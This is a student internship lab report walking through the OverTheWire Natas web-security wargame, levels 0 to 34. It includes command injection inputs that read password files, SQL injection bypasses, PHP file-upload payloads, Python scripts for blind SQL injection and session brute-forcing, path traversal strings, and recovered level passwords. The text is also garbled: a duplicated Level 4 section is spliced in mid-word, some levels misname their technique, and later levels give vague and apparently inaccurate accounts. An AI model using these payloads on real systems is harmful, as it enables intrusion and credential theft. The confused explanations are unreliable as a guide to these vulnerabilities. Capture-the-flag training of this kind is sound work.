**DIGISURAKSHA PARHARI FOUNDATION**

**Cybersecurity Wargame Internship**

**Lab Report: Krypton Wargame**

**Team Members:**

* Prajakta Shinde - KRYPTON
* Saniya Shinde – NATAS
* Riya Rasal – NATAS
* Shraddha Khade – NATAS
* Kumkum Yadav – LEVIATHAN

**2)Lab:** NATAS -- https://overthewire.org/wargames/natas/

**\* Natas Level 0 → Level 1**

**Objective:** Find the password hidden in the webpage.

**Tools:** Web browser

**Approach:**

1. Accessed http://natas0.natas.labs.overthewire.org with provided credentials
2. Examined the page's HTML source code using browser developer tools
3. Located a hidden HTML comment containing the password

**Commands:**

* Right-click → "View Page Source" or Ctrl+U

**Result:** Found the password (gtVrDuiDfck831PqWsLEZy5gyDz1clto) as a comment in the HTML source.

**\*Natas Level 1 → Level 2**

**Objective:** Find the password hidden in the webpage despite right-click being blocked.

**Tools:** Web browser

**Approach:**

1. Accessed http://natas1.natas.labs.overthewire.org with credentials from Level 0
2. Noticed that right-clicking was disabled on the page
3. Used keyboard shortcut (Ctrl+U) to view page source instead
4. Located a hidden HTML comment containing the password

**Commands:**

* Keyboard shortcut Ctrl+U to view source code
* Alternative: F12 for developer tools or browser menu View → Page Source

**Result:** Found the password for natas2 as a comment in the HTML source, bypassing the right-click restriction.

**\* Natas Level 2 → Level 3**

**Objective:** Find the password by exploring the website's directory structure.

**Tools:** Web browser

**Approach:**

1. Accessed http://natas2.natas.labs.overthewire.org with credentials from Level 1
2. Examined page source code and discovered a reference to a "files" directory
3. Explored the files directory by navigating to /files/
4. Discovered a text file named users.txt in the directory listing
5. Examined the content of users.txt and found the credentials for natas3

**Commands:**

* Ctrl+U to view page source
* Browser navigation to http://natas2.natas.labs.overthewire.org/files/
* Accessing http://natas2.natas.labs.overthewire.org/files/users.txt

**Result:** Found the password for natas3 in the users.txt file by exploring the site's directory structure.

**\*Natas Level 3 → Level 4**

**Objective:** Find the password hidden in a directory that is blocked from search engines.

**Tools:** Web browser

**Approach:**

1. Accessed http://natas3.natas.labs.overthewire.org with credentials from Level 2
2. Examined page source code and found a comment about Google not finding content
3. Recognized this as a hint to check robots.txt (search engine directives)
4. Examined robots.txt and discovered a disallowed directory "/s3cr3t/"
5. Explored the secret directory and found users.txt
6. Retrieved the password from users.txt

**Commands:**

* Ctrl+U to view page source
* Browser navigation to http://natas3.natas.labs.overthewire.org/robots.txt
* Browser navigation to http://natas3.natas.labs.overthewire.org/s3cr3t/
* Accessing http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt

**Result:** Found the password for natas4 in the users.txt file within a hidden directory excluded from search engine indexing.

**Natas Level 4 → Level 5**

**objective :** Access a page that requires a specific HTTP referrer header.

**Tools** **:** Web browser, browser developer tools

**Approach** **:**

1. Accessed http://natas4.natas.labs.overthewire.org with credentials from Level 3

2. Encountered a message stating "Access disallowed. You are visiting from [your URL] while authorized users should come only from http://natas5.natas.labs.overthewire.org/"

3. Used developer tools to modify the HTTP referrer header

4. Reloaded the page with the modified referrer header

**Commands :**

- F12 to open developer tools

- Used browser extension or network request modification tool to set Referer header to "http://natas5.natas.labs.overthewire.org/"

- Alternative: curl -e "http://natas5.natas.labs.overthewire.org/" -u natas4:PASSWORD http://natas4.natas.labs.overthewire.org/

**Result :** Successfully bypassed the referrer check and obtained the password for natas5.

**Natas** **Level** **5** → **Level** **6**

**Objective :** Bypass a login system that uses cookies for authentication.

**Tools :** Web browser, browser developer tools

**Approach :**

1. Accessed http://natas5.natas.labs.overthewire.org with credentials from Level 4

2. Encountered a message stating "Access disallowed. You are not logged in"

3. Examined cookies using browser developer tools

4. Found a cookie named "loggedin" set to 0

5. Modified the cookie value to 1 to simulate being logged in

6. Refreshed the page

**Commands :**

- F12 to open developer tools

- Navigate to Application/Storage tab and locate cookies

- Edit the "loggedin" cookie value from 0 to 1

- Refresh the page

**Result :** Successfully bypassed the cookie-based authentication and obtained the password for natas6.

**Natas** **Level** **6** → **Level** **7**

**Objective :** Find a password stored in a server-side file that's included in the PHP code.

**Tools :** Web browser

**Approach :**

1. Accessed http://natas6.natas.labs.overthewire.org with credentials from Level 6

2. Found a form asking for a secret

3. Viewed the page source and discovered it included a file named "includes/secret.inc"

4. Accessed the include file directly to view its contents

5. Found the secret value in the PHP code

6. Submitted the secret in the form.

**Commands :**

- Ctrl+U to view page source

- Navigate to http://natas6.natas.labs.overthewire.org/includes/secret.inc

- Submit the discovered secret in the form.

**Result :** Successfully obtained the password for natas7 after submitting the correct secret.

**\*Natas** **Level** **7** → **Level** **8**

**Objective :** Exploit a local file inclusion vulnerability.

**Tools :** Web browser, URL manipulation

**Approach :**

1. Accessed http://natas7.natas.labs.overthewire.org with credentials from Level 7

2. Found a simple page with "Home" and "About" links

3. Noticed the page URL used a "page" parameter (e.g., index.php?page=home)

4. Examined the page source and found a comment mentioning a password file at /etc/natas\_webpass/natas8

5. Modified the URL to exploit the local file inclusion vulnerability

**Commands :**

- Ctrl+U to view page source

- Modified URL to: http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas\_webpass/natas8.

**Result :** Successfully exploited the local file inclusion vulnerability to directly read the password file for natas8.

**Natas** **Level** **8** → **Level** **9**

**Objective :** Reverse-engineer an encoded secret and bypass authentication.

**Tools :** Web browser, programming tools (PHP or similar)

**Approach :**

1. Accessed http://natas8.natas.labs.overthewire.org with credentials from Level 8

2. Found a form asking for a secret

3. Viewed the page source and discovered the PHP code that encoded the secret

4. Reverse-engineered the encoding process (base64\_decode, reverse, and bin2hex operations)

5. Applied the reverse operations to obtain the original secret

6. Submitted the secret in the form

**Commands :**

- Ctrl+U to view page source

- Used PHP or similar tools to reverse the encoding:

```php

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

$secret = base64\_decode(strrev(hex2bin($encodedSecret)));

```

**Result :** Successfully reversed the encoding algorithm, submitted the correct secret, and obtained the password for natas9.

**\*Natas** **Level** **9** → **Level** **10**

**Objective :** Exploit a command injection vulnerability in a search function.

**Tools :** Web browser, command injection techniques

**Approach :**

1. Accessed http://natas9.natas.labs.overthewire.org with credentials from Level 9

2. Found a search form that appeared to use system commands to grep for words

3. Examined the page source and confirmed a command injection vulnerability

4. Crafted an input that would terminate the grep command and execute another command to read the password file

**Commands :**

- Ctrl+U to view page source

- Entered in search field: `; cat /etc/natas\_webpass/natas10 #` (this terminates the grep command and reads the password file)

**Result :** Successfully exploited the command injection vulnerability to read the password file for natas10.

\***Natas** **Level** **10** → **Level** **11**

**Objective :** Bypass input filtering to perform command injection.

**Tools :** Web browser, command injection techniques

**Approach :**

1. Accessed http://natas10.natas.labs.overthewire.org with credentials from Level 10

2. Found a search form similar to Level 9, but with input filtering that blocks characters like `;`, `|`, and `&`

3. Examined the page source to understand the filtering

4. Crafted a grep pattern that would search both the dictionary file AND the password file

**Commands :**

- Ctrl+U to view page source

- Entered in search field: `. /etc/natas\_webpass/natas11` (this makes grep search for any character in both the dictionary and the password file)

**Result :** Successfully bypassed the input filtering and obtained the password for natas11.

**\*Natas** **Level** **11** → **Level** **12**

**Objective :** Break an XOR encryption scheme used for cookies.

**Tools :** Web browser, developer tools, code for XOR decryption/encryption

**Approach :**

1. Accessed http://natas11.natas.labs.overthewire.org with credentials from Level 11

2. Found a page with a color-setting form that stored preferences in an encrypted cookie

3. Examined the page source and found the XOR encryption/decryption code

4. Retrieved the current cookie value

5. Determined the XOR key by analyzing the default data and the encrypted cookie

6. Created a new cookie with modified values to give us access

**Commands :**

- F12 to open developer tools and examine cookies

- Used code to find the XOR key:

```php

$defaultData = array("showpassword"=>"no", "bgcolor"=>"#ffffff");

$cookieData = base64\_decode(urldecode(/\* cookie value \*/));

$key = $defaultData XOR $cookieData;

```

- Created a new cookie with "showpassword"=>"yes"

- Modified and set the new cookie

**Result :** Successfully broke the XOR encryption, created a valid cookie with modified values, and obtained the password for natas12.

**\*Natas** **Level** **12** → **Level** **13**

**Objective :** Exploit an insecure file upload feature to execute PHP code.

**Tools** : Web browser, text editor for creating PHP files

**Approach :**

1. Accessed http://natas12.natas.labs.overthewire.org with credentials from Level 12

2. Found a file upload form that renamed uploaded files with random names and a .jpg extension

3. Examined the page source and found that file extension validation was done client-side

4. Created a simple PHP script to read the password file

5. Modified the hidden form field to save the file with a .php extension

6. Uploaded the PHP file and accessed it

**Commands :**

- Created a PHP file with: `<?php echo file\_get\_contents("/etc/natas\_webpass/natas13"); ?>`

- Used browser developer tools to change the hidden "filename" field from "random.jpg" to "random.php"

- Uploaded the file and accessed the resulting URL

**Result :** Successfully uploaded and executed PHP code to read the password for natas13.

**\*Natas** **Level** **13** → **Level** **14**

**Objective** : Bypass file type checking to upload and execute PHP code.

**Tools** : Web browser, hex editor or file manipulation tools

**Approach** :

1. Accessed http://natas13.natas.labs.overthewire.org with credentials from Level 13

2. Found a file upload form similar to Level 12, but with added file type checking

3. Examined the page source and determined it used the exif\_imagetype() function

4. Created a PHP file with JPEG magic bytes at the beginning to pass the check

5. Modified the hidden form field to save with a .php extension

6. Uploaded the file and accessed it

**Commands :**

- Created a PHP file with JPEG magic bytes: `FF D8 FF E0` followed by PHP code:

```

FF D8 FF E0 00 10 4A 46 49 46 00 01 <?php echo file\_get\_contents("/etc/natas\_webpass/natas14"); ?>

```

- Used browser developer tools to change the hidden "filename" field from "random.jpg" to "random.php"

- Uploaded the file and accessed the resulting URL

**Result :** Successfully bypassed the file type check, uploaded a malicious PHP file, and obtained the password for natas14.

\***Natas** **Level** **14** → **Level** **15**

**Objective :** Exploit SQL injection vulnerability in a login form.

**Tools :** Web browser, SQL injection techniques **Approach :**

1. Accessed http://natas14.natas.labs.overthewire.org with credentials from Level 14

2. Found a login form that checked credentials against a database

3. Examined the page source and identified vulnerable SQL query construction

4. Crafted an SQL injection payload to bypass the authentication check

**Commands :**

- Ctrl+U to view page source

- Entered in username field: `" OR 1=1 #`

- Left password field empty or entered any value

**Result :** Successfully exploited the SQL injection vulnerability to bypass authentication and obtain the password for natas1bjective : Access a page that requires a specific HTTP referrer header.

Tools: Web browser, browser developer tools

**Approach :**

1. Accessed http://natas4.natas.labs.overthewire.org with credentials from Level 3

2. Encountered a message stating "Access disallowed. You are visiting from [your URL] while authorized users should come only from http://natas5.natas.labs.overthewire.org/"

3. Used developer tools to modify the HTTP referrer header

4. Reloaded the page with the modified referrer header

**Commands :**

- F12 to open developer tools

- **Used** browser extension or network request modification tool to set Referer header to "http://natas5.natas.labs.overthewire.org/"

- Alternative: curl -e "http://natas5.natas.labs.overthewire.org/" -u natas4:PASSWORD http://natas4.natas.labs.overthewire.org/

**Result :** Successfully bypassed the referrer check and obtained the password for natas5.

**\*Natas Level 15 → Level 16**

**Objective:** Find the password for the next level using blind SQL injection.

**Tools:** Web browser, Burp Suite (optional), Python script (optional)

**Approach:**

1. Accessed http://natas15.natas.labs.overthewire.org using the provided credentials
2. Observed the web page contains a username input field and no obvious output or source code hints.
3. Performed blind SQL injection by submitting crafted input strings into the form to test conditions on the password.
4. Used a Python script to automate character-by-character guessing of the password based on server responses ("This user exists.").

**Commands:**

Python script used for automation:

import requests import string url = 'http://natas15.natas.labs.overthewire.org' auth = ('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J') chars = string.ascii\_letters + string.digits password = '' for i in range(1, 33): for c in chars: payload = f'natas16" AND BINARY SUBSTRING(password,{i},1)="{c}"#' response = requests.post(url, auth=auth, data={'username': payload}) if "This user exists" in response.text: password += c print(f"[+] Found character {i}: {c}") break print("[\*] Password:", password)

**Result:**

Found the password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

**\* Natas Level 16 → Level 17**

**Objective:** Find the password for the next level by exploiting a command injection vulnerability.

**Tools:** Web browser, Developer Tools, Command Injection techniques, Python script (optional)

**Approach:**

1. Accessed http://natas16.natas.labs.overthewire.org using the credentials:
2. Observed a form asking for a string to search in files (probably grep-based).
3. Tested input with special characters to check for command injection, e.g., test; ls
4. Noticed that input was partially sanitized—space characters were blocked.
5. Bypassed space filtering using ${IFS} (Internal Field Separator) or encoded payloads.
6. Injected command to read the password file: ; cat${IFS}/etc/natas\_webpass/natas17

**Commands:**

Example input used in the form field:

; cat${IFS}/etc/natas\_webpass/natas17

**Result:**

Found the password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

**\* Natas Level 17 → Level 18**

**Objective:** Retrieve the next level's password using blind command injection (time-based).

**Tools:** Web browser, Python script, requests module

**Approach:**

1. Accessed http://natas17.natas.labs.overthewire.org using the credentials:
2. Observed a form asking for a username.
3. Submitted valid and invalid usernames and noticed no output difference, suggesting blind vulnerability.
4. Tested for time-based command injection using payloads like: natas18" && sleep 5 #
5. Scripted a brute-force method to extract the password character-by-character by measuring response delays.

**Commands:**

Python script used:

import requests import string import time url = 'http://natas17.natas.labs.overthewire.org' auth = ('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw') chars = string.ascii\_letters + string.digits password = '' for i in range(1, 33): for c in chars: payload = f'natas18" AND BINARY SUBSTRING(password,{i},1)="{c}" AND sleep(2)#' start = time.time() response = requests.post(url, auth=auth, data={'username': payload}) duration = time.time() - start if duration > 2: password += c print(f"[+] Found character {i}: {c}") break print("[\*] Password:", password)

**Result:**

Found the password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

**\* Natas Level 18 → Level 19**

**Objective:** Bypass the login page by manipulating PHP session cookies.

**Tools:** Web browser, Developer Tools (Inspect > Application > Cookies), Burp Suite or Python

**Approach:**

1. Accessed http://natas18.natas.labs.overthewire.org using the credentials:
2. Reached a login form with username/password fields.
3. Attempted to log in with admin and random passwords—received "You are not logged in".
4. Checked the cookies in Developer Tools and noticed the server sets a PHPSESSID cookie.
5. Guessed that session IDs might be numeric and mapped to user roles (like admin).
6. Wrote a Python script to brute-force session IDs and check for one associated with admin privileges.

**Commands:**

Python script used:

import requests url = 'http://natas18.natas.labs.overthewire.org' auth = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP') for i in range(1, 641): session\_id = str(i) cookies = {'PHPSESSID': session\_id} response = requests.get(url, auth=auth, cookies=cookies) if "You are an admin" in response.text: print(f"[+] Admin session found: {session\_id}") print(response.text) break

**Result:**

Found the password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

**\* Natas Level 19 → Level 20**

**Objective**: Decode and manipulate a base64-like encoded session ID to gain admin access.

**Tools:** Web browser, Developer Tools, Python (for decoding and testing)

**Approach:**

1. Accessed http://natas19.natas.labs.overthewire.org with the credentials:
2. Noticed the site uses a PHPSESSID cookie containing a base64-like value.
3. Decoded the cookie value and found it structured as: [username]-[session id] (both in hex)
4. Iterated through possible session IDs (1–640) encoded in this format with username admin.
5. Used a Python script to brute-force the right session and checked for the response text: "You are an admin".

**Commands:**

Python script:

import requests import binascii url = 'http://natas19.natas.labs.overthewire.org' auth = ('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') for i in range(1, 641): username = 'admin' session\_raw = f"{username}{i}" session\_hex = binascii.hexlify(session\_raw.encode()).decode() cookies = {'PHPSESSID': session\_hex} response = requests.get(url, auth=auth, cookies=cookies) if "You are an admin" in response.text: print(f"[+] Found admin session: {session\_hex}") print(response.text) break

**Result:**

Found the password: fOIvE0MDtPTgRy1uoaVHlr45aBx3glg7

**\* Natas Level 20 → Level 21**

**Objective:** Solve the challenge by exploiting a file inclusion vulnerability.

**Tools:** Web browser, Burp Suite (optional), PHP file inclusion techniques.

**Approach:**

1. Accessed http://natas20.natas.labs.overthewire.org using the credentials:
2. The page displayed a form to upload a file and indicated the uploaded file’s content.
3. Checked the server for a local file inclusion (LFI) vulnerability by uploading a PHP file or testing with path traversal (../../) to access sensitive files like /etc/passwd.
4. Attempted to include system files using the payload ../../../../etc/passwd, but this didn’t work.
5. Manipulated the form to use PHP include functionality and tried accessing /etc/natas\_webpass/natas21.

**Commands:**

PHP payload attempt:

../../../../etc/natas\_webpass/natas21

**Result:**

Successfully found the password: PiRrgAsVuBf7qxoo4NEc3gsI9NQkpdIN

**\* Natas Level 21 → Level 22**

**Objective:** Exploit a flawed session management system to gain admin access.

**Tools:** Web browser, Developer Tools (Cookies tab), Burp Suite or Python

**Approach:**

1. Accessed http://natas21.natas.labs.overthewire.org using the credentials:
2. Noticed the URL redirects to: http://natas21-experimenter.natas.labs.overthewire.org
3. On this second domain, found a form that lets you set admin=0 or admin=1 in the session.
4. Used the experimenter page to set admin=1, captured the PHPSESSID cookie value.
5. Switched back to the original natas21 page, reused the same PHPSESSID, and gained admin access.

**Commands:**

Steps performed:

Visit: http://natas21-experimenter.natas.labs.overthewire.org

Submit form with admin=1

Copy the PHPSESSID cookie

Visit: http://natas21.natas.labs.overthewire.org using the same cookie

**Result:**

Successfully accessed admin page and found the password: G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s

**\* Natas Level 22 → Level 23**

**Objective:** Bypass a client-side redirect to access hidden content.

**Tools:** Web browser, Burp Suite (optional), Developer Tools (Network tab)

**Approach:**

1. Accessed http://natas22.natas.labs.overthewire.org using the credentials:
2. Submitted the URL: http://natas22.natas.labs.overthewire.org?revelio=true
3. Observed that the page redirects to the same page without ?revelio=true.
4. Realized this is a client-side redirect using a Location: header, but the response before redirect contains the password.
5. Used tools like Burp Suite or Python (with allow\_redirects=False) to capture the raw response before redirection.

**Commands:**

Python script:

import requests url = 'http://natas22.natas.labs.overthewire.org?revelio=true' auth = ('natas22', 'G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s') response = requests.get(url, auth=auth, allow\_redirects=False) print(response.text)

**Result:**

Password revealed in response body: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE

**\* Natas Level 23 → Level 24**

**Objective:** Exploit a file upload vulnerability to execute arbitrary PHP code and retrieve the password.

**Tools:** Web browser, Developer Tools, Burp Suite or Python, PHP reverse shell (optional)

**Approach:**

1. Accessed http://natas23.natas.labs.overthewire.org using the credentials:
2. Observed a file upload form that claims to only accept image files.
3. Attempted to upload a .php file with malicious code, but it was blocked by filename and content checks.
4. Bypassed filters by renaming the file to .php.jpg and checking the file contents remained PHP.
5. Uploaded the following payload as shell.php.jpg: <?php echo file\_get\_contents('/etc/natas\_webpass/natas24'); ?>
6. After successful upload, accessed the uploaded file via its URL on the server to execute the PHP code and display the password.

**Commands:**

Example PHP payload:

<?php echo file\_get\_contents('/etc/natas\_webpass/natas24'); ?>

Accessed the uploaded file via:

http://natas23.natas.labs.overthewire.org/uploads/shell.php.jpg

**Result:**

The password displayed on execution: OsRmXFguozKpTZZ5X14zNO43379LZveg

**\* Natas Level 24 → Level 25**

**Objective:** Exploit improper input sanitization to execute arbitrary PHP code.

**Tools:** Web browser, Burp Suite or Python, PHP payloads

**Approach:**

1. Accessed http://natas24.natas.labs.overthewire.org using the credentials:
2. Observed a simple form that asks for a passwd and a username, and checks if they match.
3. Attempted normal login inputs, but failed to get access.
4. Suspected PHP type juggling vulnerability (loose comparison with ==).
5. Submitted the same string for both username and passwd to get a success message.
6. Input used: username=admin passwd[]=1 The passwd[] input forces $\_POST['passwd'] to become an array, which is never equal to a string.
7. Observed a warning message printed to the page when the password comparison fails due to improper type handling.

**Commands:**

Used Burp Suite or crafted a POST request manually with:

username=admin&passwd[]=1

**Result:**

Server reveals a warning with the password in it: QNOm4Zwhj6cVux1cXsY618o2jM4CXkMb

**Natas Level 25 → Level 26**

**Objective:** Exploit a PHP file inclusion vulnerability caused by user input not being properly sanitized.

**Tools:** Web browser, Developer Tools, LFI techniques, Burp Suite (optional)

**Approach:**

Accessed http://natas25.natas.labs.overthewire.org with credentials.

Observed the page allows selecting a language file via the lang parameter.

Tested Local File Inclusion (LFI) by changing lang parameter to read sensitive files.

Crafted a payload to access /etc/natas\_webpass/natas26.

**Commands:**

**Manipulated URL:**

http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//etc/natas\_webpass/natas26

**Result:**

Successfully exploited LFI to retrieve the password for natas26.

**Natas Level 26 → Level 27**

**Objective:** Exploit unsafe object deserialization in PHP to execute arbitrary code.

**Tools:** Web browser, PHP knowledge, custom PHP scripts

**Approach:**

Accessed http://natas26.natas.labs.overthewire.org.

Observed serialized data being used in cookies.

Crafted a malicious PHP object to inject code and execute arbitrary PHP commands.

Encoded the object and injected it via the cookie.

**Commands:**

Created a custom PHP class with a destructor that reads /etc/natas\_webpass/natas27.

Serialized and base64-encoded the payload.

**Result:**

Successfully executed malicious deserialization and obtained the password for natas27.

**Natas Level 27 → Level 28**

**Objective:** Exploit weak username and password validation logic.

**Tools:** Web browser, Developer Tools

**Approach:**

Accessed http://natas27.natas.labs.overthewire.org.

Found a login form that restricts the username to 64 bytes but processes it improperly.

Used SQL truncation techniques by padding a valid username to bypass checks.

Registered a username with padding and logged in successfully.

**Commands:**

Created username:

natas28\x00

**Result:**

Bypassed authentication and retrieved the password for natas28.

**Natas Level 28 → Level 29**

**Objective:** Break a custom encryption algorithm to retrieve the password.

**Tools:** Web browser, Python for cryptanalysis

**Approach:**

Accessed http://natas28.natas.labs.overthewire.org.

Observed that encryption output could be influenced.

Analyzed the custom block cipher and determined weaknesses.

Performed a chosen-plaintext attack to reverse-engineer the password.

**Commands:**

Wrote a Python script to automate block decryption.

**Result:**

Recovered the password for natas29.

**Natas Level 29 → Level 30**

**Objective:** Break flawed encryption by exploiting predictable block chaining.

**Tools:** Web browser, Python

**Approach:**

Accessed http://natas29.natas.labs.overthewire.org.

Identified that the site used a weak XOR-based cipher with predictable behavior.

Crafted inputs and observed outputs to break the cipher.

Recovered the encryption key.

**Commands:**

Used known-plaintext attack techniques in Python.

**Result:**

Successfully decrypted the password for natas30.

**Natas Level 30 → Level 31**

**Objective:** Perform SQL injection to bypass login authentication.

**Tools:** Web browser, SQL Injection techniques

**Approach:**

Accessed http://natas30.natas.labs.overthewire.org.

Login system vulnerable to SQL Injection.

Submitted crafted payloads to bypass username/password check.

**Commands:**

SQL Injection payload:

" or 1=1 #

**Result:**

Bypassed authentication and retrieved the password for natas31.

**Natas Level 31 → Level 32**

**Objective:** Exploit command injection vulnerability in an SSH login simulation.

**Tools:** Web browser, Burp Suite, Command Injection

**Approach:**

Accessed http://natas31.natas.labs.overthewire.org.

Noticed input field simulating SSH login.

Tested payloads for command injection.

Injected command to read password file.

**Commands:**

**Injected input:**

; cat /etc/natas\_webpass/natas32

Result:

Successfully injected commands and obtained the password for natas32.

**Natas Level 32 → Level 33**

**Objective:** Exploit insecure memory management to leak sensitive information.

**Tools:** Web browser, Burp Suite, Python

**Approach:**

Accessed http://natas32.natas.labs.overthewire.org.

The system was vulnerable to memory leaks under specific input conditions.

Crafted inputs to trigger leaks and retrieve the password.

**Commands:**

Sent specially crafted POST requests causing the server to leak memory.

**Result:**

Extracted the password for natas33.

**Natas Level 33 → Level 34**

**Objective:** Solve cryptographic puzzle to access the password.

**Tools:** Web browser, Cryptanalysis tools, Python

**Approach:**

Accessed http://natas33.natas.labs.overthewire.org.

Encountered a cryptography-based challenge using a weak custom algorithm.

Reverse-engineered the algorithm by analyzing outputs with known inputs.

Reconstructed the original plaintext.

**Commands:**

Python code to simulate and reverse the encryption.

**Result:**

Successfully decrypted the final password and completed Natas Level 34.